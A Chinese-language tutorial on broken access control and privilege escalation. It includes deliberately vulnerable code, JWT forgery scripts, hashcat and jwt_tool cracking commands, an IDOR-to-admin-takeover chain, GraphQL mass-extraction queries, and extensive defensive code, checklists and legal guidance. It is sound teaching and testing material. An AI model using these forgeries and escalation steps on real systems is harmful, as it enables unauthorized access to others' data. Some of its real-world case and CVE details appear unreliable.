Base64非加密直接解码查看密钥泄露密钥硬编码在源码中读取源码获取密钥第三章案例演示案例 1水平越权IDOR—— 订单查看漏洞代码order.php$orderId $_GET[id]; // ❌ 只查订单是否存在没查是否属于当前用户 $stmt $pdo-prepare(SELECT * FROM orders WHERE id ?); $stmt-execute([$orderId]); $order $stmt-fetch(); echo $order[user_name] . - . $order[address];利用?id1001自己的→?id1002别人的→ 遍历所有订单正确代码// ✅ 查询时绑定用户身份 $stmt $pdo-prepare(SELECT * FROM orders WHERE id ? AND user_id ?); $stmt-execute([$orderId, $_SESSION[uid]]); if (!$order) die(资源不存在); // 不区分不存在和无权限案例 2垂直越权 —— 管理员接口WebServlet(/admin/deleteUser) public class DeleteUserServlet extends HttpServlet { protected void doPost(HttpServletRequest req, HttpServletResponse resp) { // ❌ 没有检查是否是管理员 userDao.delete(req.getParameter(userId)); } }普通用户直接请求/admin/deleteUser即可删除用户。案例 3信任客户端权限app.route(/api/profile) def profile(): role request.cookies.get(role) # ❌ 从客户端读权限 if role admin: return admin_data()攻击者改 Cookieroleadmin→ 提权。案例 4多步骤功能越权步骤1GET /checkout?step1 → 显示订单校验了权限 步骤2POST /checkout?step2 → 确认没校验 步骤3POST /checkout?step3 → 执行支付没校验攻击者直接请求步骤 3跳过权限校验。案例 5HTTP 方法越权// ❌ 过滤器只检查 GET WebFilter(urlPatterns /admin/*) public class AdminFilter implements Filter { public void doFilter(...) { if (GET.equals(request.getMethod())) { checkPermission(request); // 只校验 GET } chain.doFilter(request, response); } } // 但管理员功能用 POST → POST 绕过过滤器案例 6Cookie 中的用户 ID$userId $_COOKIE[user_id]; // ❌ 从 Cookie 读用户 ID $pdo-query(SELECT * FROM orders WHERE user_id $userId); // 改 Cookie 的 user_id → 查看他人订单案例 7参数污染越权?userselfuseradmin某些框架对重复参数取最后一个值WAF 取第一个。WAF 校验userself通过后端用useradmin越权。案例 8GUID 泄露导致的越权# 即使使用 GUID 而非自增 ID order Order.query.filter_by(guiduser_guid).first() # 如果 GUID 出现在 URL、日志、API 响应中 # 攻击者获取到他人的 GUID 后仍可越权访问案例 9GraphQL 越权# 如果没有字段级权限控制 query { allUsers { id email phone orders { amount address } } } # 一次查询拉取所有用户的所有数据第四章实战进阶4.1 本地靶场搭建# DVWA 包含越权模块 docker run -d -p 8080:80 vulnerables/web-dvwa # PortSwigger Web Security Academy免费在线 # 有完整的 IDOR 和越权实验室 # https://portswigger.net/web-security/access-control # 自建创建两个账号测试4.2 JWT 越权完整版漏洞1alg: none绕过import base64, json header {alg: none, typ: JWT} payload {role: admin, uid: 1, exp: 9999999999} def b64(d): return base64.urlsafe_b64encode(json.dumps(d).encode()).decode().rstrip() token b64(header) . b64(payload) . # 服务端若不校验签名 → admin 身份通过漏洞2弱密钥爆破# 用 hashcat 爆破 JWT 密钥 hashcat -a 0 -m 16500 jwt.txt rockyou.txt # 用 jwt_tool 伪造 python3 jwt_tool.py JWT -S hs256 -p 破解的密钥 -I -pc role -v admin漏洞3算法混淆1. 获取服务端的 RS256 公钥通常公开 2. 把算法从 RS256 改为 HS256 3. 用公钥作为 HMAC 密钥签名 4. 服务端用公钥验证 HS256 签名 → 通过4.3 自动化越权检测import requests # 注册 A、B 两个账号 cookie_a {session: A_session} cookie_b {session: B_session} # A 创建一个资源 r requests.post(http://localhost:8080/api/orders, cookiescookie_a, json{item: phone}) order_id r.json()[id] print(fA 创建了订单 {order_id}) # B 尝试访问 A 的资源 r requests.get(fhttp://localhost:8080/api/orders/{order_id}, cookiescookie_b) if r.status_code 200 and phone in r.text: print(f[] 越权成功B 能访问 A 的订单 {order_id}) else: print([-] 无越权) # B 尝试修改 A 的资源 r requests.put(fhttp://localhost:8080/api/orders/{order_id}, cookiescookie_b, json{address: attacker_address}) if r.status_code 200: print(f[] 越权修改成功) # B 尝试删除 A 的资源 r requests.delete(fhttp://localhost:8080/api/orders/{order_id}, cookiescookie_b) if r.status_code 200: print(f[] 越权删除成功)自动化越权检测思路注册 A、B 两个账号A 访问属于 A 的资源 IDB 也访问同一 ID如果 B 能看到 A 的数据 → 越权逐个 ID 测试测试 GET/POST/PUT/DELETE 所有方法4.4 越权 信息泄露组合链1. IDOR 遍历用户列表 → 获取管理员手机号/邮箱 2. 越权调用重置密码接口 → 给管理员改密码 3. 用新密码登录管理员账号 4. 后台执行任意操作 完整攻击链 发现IDOR → 遍历数据 → 获取管理员信息 → 越权改密码 → 登录后台 → 完全控制4.5 API 越权测试RESTful API IDORGET /api/v1/users/1001/orders ← 改 ID 看别人的 PUT /api/v1/users/1002 ← 修改别人信息 DELETE /api/v1/users/1003 ← 删除别人账号测试方法用账号 A 创建资源用账号 B 访问/修改/删除 A 的资源如果成功 → 越权4.6 越权检测工具# AutorizeBurpSuite 插件—— 自动检测越权 # 安装后配置低权限 Cookie # 浏览页面时自动用低权限 Cookie 重放请求 # 对比高/低权限响应 # AuthzBurpSuite 插件—— 类似功能 # 手动用 BurpSuite Repeater # 1. 拦截请求 # 2. 替换 Cookie 为另一个用户的 # 3. 重放查看是否成功4.7 越权测试方法论步骤1识别所有需要权限的功能 - 管理员接口 - 用户数据访问接口 - 修改/删除操作 步骤2水平越权测试 - 注册 A、B 两个账号 - A 创建资源 - B 尝试访问/修改/删除 A 的资源 步骤3垂直越权测试 - 用普通用户账号 - 尝试访问管理员接口 - 尝试修改 role 参数 步骤4多步骤越权 - 跳过权限校验步骤 - 直接请求后续步骤 步骤5JWT 测试 - 检查 alg:none - 爆破密钥 - 算法混淆 步骤6API 越权 - 遍历 ID - 测试所有 HTTP 方法第五章防御与避险5.1 服务端强制鉴权核心核心原则每次访问都校验身份与资源归属关系。// ✅ 查询时绑定用户身份 $stmt $pdo-prepare(SELECT * FROM orders WHERE id ? AND user_id ?); $stmt-execute([$orderId, $_SESSION[uid]]); if (!$order) die(资源不存在);# Django确保只查自己的 order get_object_or_404(Order, idorder_id, userrequest.user) # 等价于 WHERE id? AND user_id?// Java校验资源归属 Order order orderDao.findById(orderId); if (order null || !order.getUserId().equals(currentUser.getId())) { throw new AccessDeniedException(无权访问); }5.2 统一权限框架集中式权限控制避免每个接口手写易遗漏Spring SecurityJava// 方法级权限注解 PreAuthorize(hasRole(ADMIN)) PostMapping(/admin/deleteUser) public void deleteUser(...) { ... } // 资源归属校验 PreAuthorize(#userId authentication.principal.id) GetMapping(/users/{userId}/profile) public UserProfile getProfile(PathVariable Long userId) { ... }DjangoPythonfrom django.contrib.auth.decorators import login_required, permission_required login_required permission_required(orders.view_order, raise_exceptionTrue) def order_detail(request, order_id): # 确保 order 属于当前用户 order get_object_or_404(Order, idorder_id, userrequest.user) return render(request, order.html, {order: order})Express 中间件Node.js// 权限中间件 function requireRole(role) { return (req, res, next) { if (req.user.role ! role) { return res.status(403).json({error: Forbidden}); } next(); }; } // 资源归属校验中间件 async function checkOwnership(req, res, next) { const order await Order.findById(req.params.id); if (!order || order.userId ! req.user.id) { return res.status(403).json({error: 无权访问}); } req.order order; next(); } // 使用 app.delete(/api/orders/:id, requireRole(admin), // 垂直越权防护 checkOwnership, // 水平越权防护 deleteOrder);5.3 默认拒绝// ✅ 默认 deny — 未明确授权即拒绝 if (!hasPermission(user, resource)) { throw new AccessDeniedException(); } // ❌ 危险默认 allow — 新角色默认有权限 if (user.getRole().equals(blocked)) { throw new AccessDeniedException(); } // 漏洞如果创建了新角色如 superadmin默认有权限5.4 不可预测的 ID辅助// 将自增 ID 改为 UUID $orderId bin2hex(random_bytes(16)); // 32 位十六进制 // 增加遍历难度但这不是真正的修复 // 仍需服务端校验归属关系5.5 避免信息泄露// ❌ 暴露是否存在 if ($order) echo 有权限; else echo 无权限; // ✅ 统一返回 if (!$order || $order[user_id] ! $_SESSION[uid]) { die(资源不存在); // 不区分不存在和无权限 }5.6 权限审计与日志// 记录所有敏感操作 log_action($user_id, access_order, $orderId, $ip); // 定期审计 // - 检查用户是否访问了不属于他的资源 // - 短时间内大量不同 ID 访问 → 可能是遍历 // - 非工作时间的管理员操作 → 可能被盗5.7 防御总结防御层措施效果注意服务端强制鉴权每次校验身份与归属★★★★★核心统一权限框架集中管理★★★★★避免遗漏默认拒绝未明确授权即拒绝★★★★安全原则不可预测 IDUUID★★★仅增加难度避免信息泄露统一错误响应★★★减少探测权限审计日志监控★★★检测JWT 安全强密钥校验签名★★★★防伪造5.8 安全编码 Checklist每个接口是否校验了用户权限每条数据查询是否绑定了用户身份权限标识是否来自服务端 Session 而非客户端是否使用了统一权限框架是否遵循默认拒绝原则多步骤功能每一步是否都校验了权限ID 是否不可预测UUID错误信息是否统一不泄露资源是否存在JWT 密钥是否足够强是否有权限审计日志第六章法律合规与避险6.1 合法行为✅ 在本地靶场练习✅ 对自己拥有的网站测试✅ 书面授权范围内的渗透测试✅ 向厂商 SRC 报告越权漏洞✅ 参加 CTF 竞赛6.2 违法行为❌ 遍历他人网站的用户数据❌ 越权修改/删除他人数据❌ 越权提升自己权限❌ 越权接管他人账号❌ 批量获取用户个人信息6.3 涉及法律法律条款说明刑罚刑法第285条非法获取计算机信息系统数据罪三年以下至七年以下刑法第253条侵犯公民个人信息罪批量获取用户数据三年以下至七年以下网络安全法第27条不得非法侵入他人网络—个人信息保护法相关条款非法获取个人信息—6.4 真实案例警示Facebook2018越权漏洞导致 5000 万用户 Token 被盗USPS2018美国邮政服务越权漏洞6000 万用户数据可被遍历各种 APIBOLA 是 API 安全第一大漏洞6.5 自我保护建议越权测试只在本地靶场中进行发现真实网站越权 → 报告 SRC不自行提取数据即使是只看了一眼也属于未授权访问不批量遍历用户数据不越权修改/删除他人数据6.6 漏洞报告流程1. 发现越权 → 不要提取实际数据 2. 只证明越权存在如用自己的两个账号交叉测试 3. 截图提交给厂商 SRC 4. 等待确认和修复 5. 不公开未修复的漏洞细节大神进阶高级越权技巧与真实案例A.1 真实 CVE 案例分析案例 1Facebook Access Token 越权2018漏洞编号CVE-2018-18768背景Facebook 的查看个人资料功能有一个预览接口用于让用户看到自己的资料在不同隐私设置下对外人是什么样子。漏洞根因预览接口接受一个用户 ID 参数 接口本应只显示当前用户的公开信息 但实际返回了完整的 Access Token 攻击者遍历任意用户 ID → 获取任意用户的 Token影响5000 万用户受影响Facebook 被罚款。修复预览接口不再返回 Token改为返回脱敏后的静态视图。案例 2USPS 越权漏洞2018背景美国邮政服务的 API 有一个查询接口用户可以查询自己的邮件状态。漏洞根因API 端点GET /api/v1/users/{userId}/mail 后端只检查 userId 是否为有效用户 没有检查请求者是否就是该 userId 任何登录用户都可以遍历任意 userId → 查看所有人的邮件影响6000 万用户数据可被遍历。案例 3 Peloton 健身设备越权2021漏洞根因APIGET /api/user/{userId} 认证后可以访问任意用户的个人资料 包括生日、性别、体重、训练数据 仅将是否公开的判断放在前端 后端不管公开与否都返回全部数据A.2 GraphQL 越权深度利用GraphQL 没有传统 REST API 的固定端点但越权更为严重# 查询所有用户的所有数据如果没有字段级权限控制 query { allUsers { id email phone passwordHash # 甚至可能返回密码哈希 orders { id amount shippingAddress paymentMethod { cardNumber # 信用卡号 } } } } # 批量遍历 query { user1: user(id: 1) { email phone } user2: user(id: 2) { email phone } user3: user(id: 3) { email phone } # 一次请求查询多个用户 } # 内省攻击获取所有 API 结构 query { __schema { types { name fields { name type { name } } } } }A.3 OAuth 2.0 越权OAuth 流程中的越权1. 攻击者注册一个正常应用获得 client_id 2. 诱导受害者授权钓鱼 3. 获取 authorization code 4. 用 code 换取 access_token 5. 如果授权服务器不验证 redirect_uri → 越权获取 Token防御严格校验 redirect_uri、使用 state 参数防 CSRF。A.4 微服务架构中的越权微服务之间通过内部 API 通信如果内部 API 信任所有来自内网的请求用户 → API 网关 → 用户服务校验了身份 → 订单服务没校验直接信任内网请求 → 支付服务没校验攻击者通过 API 网关的越权漏洞绕过网关直接请求内部服务。A.5 越权漏洞的自动化挖掘框架步骤1爬取所有 API 端点 - 爬取前端 JS 代码中的 API 调用 - 爬取 Swagger/API 文档 - 枚举常见 API 路径 步骤2识别身份相关参数 - URL 中的 userId/orderId/accountId - 请求体中的 id 字段 - Cookie/Token 中的用户标识 步骤3双账号交叉测试 - 账号 A 创建资源 - 账号 B 访问 A 的资源 - 对比响应差异 步骤4测试所有 HTTP 方法 - GET读取 - POST创建 - PUT/PATCH修改 - DELETE删除 步骤5自动化遍历 - 遍历所有 ID - 收集可越权访问的数据A.6 大神级越权 Checklist基础检查 - [ ] 每个 API 是否校验用户身份 - [ ] 每个数据查询是否绑定用户 ID - [ ] 权限标识是否来自服务端 高级检查 - [ ] 多步骤功能每步是否校验 - [ ] HTTP 方法是否都有限制 - [ ] GraphQL 是否有字段级权限 - [ ] 微服务间是否校验身份 - [ ] OAuth redirect_uri 是否严格校验 - [ ] JWT 是否安全强密钥校验签名 - [ ] 是否有权限审计日志 - [ ] 错误信息是否统一不泄露存在性 - [ ] 是否定期审计异常访问附录速查表越权类型速查类型说明检测方法水平越权A 访问 B 的数据两个账号交叉测试垂直越权普通用户调管理员接口直接请求管理接口IDOR改 ID 访问他人资源遍历 ID多步骤越权跳过权限校验步骤直接请求后续步骤HTTP 方法越权过滤器只查 GET用 POST 绕过JWT 伪造篡改 Tokenalg:none/弱密钥JWT 漏洞速查漏洞方法工具alg:none声明不签名jwt_tool弱密钥爆破hashcat算法混淆RS256→HS256jwt_tool信息泄露Base64 解码在线工具防御速查防御措施代码示例绑定用户SQL 加AND user_id?WHERE id? AND user_id?权限框架注解/装饰器PreAuthorize默认拒绝检查否定条件if (!hasPermission)UUID随机 IDrandom_bytes(16)总结越权是 OWASP Top 10排名第一的漏洞也是最常见的漏洞。防御核心是服务端每次访问都校验身份与资源归属关系——权限标识不能来自客户端。前端隐藏入口不是安全措施后端必须独立校验。记住永远不要信任客户端传来的权限标识。
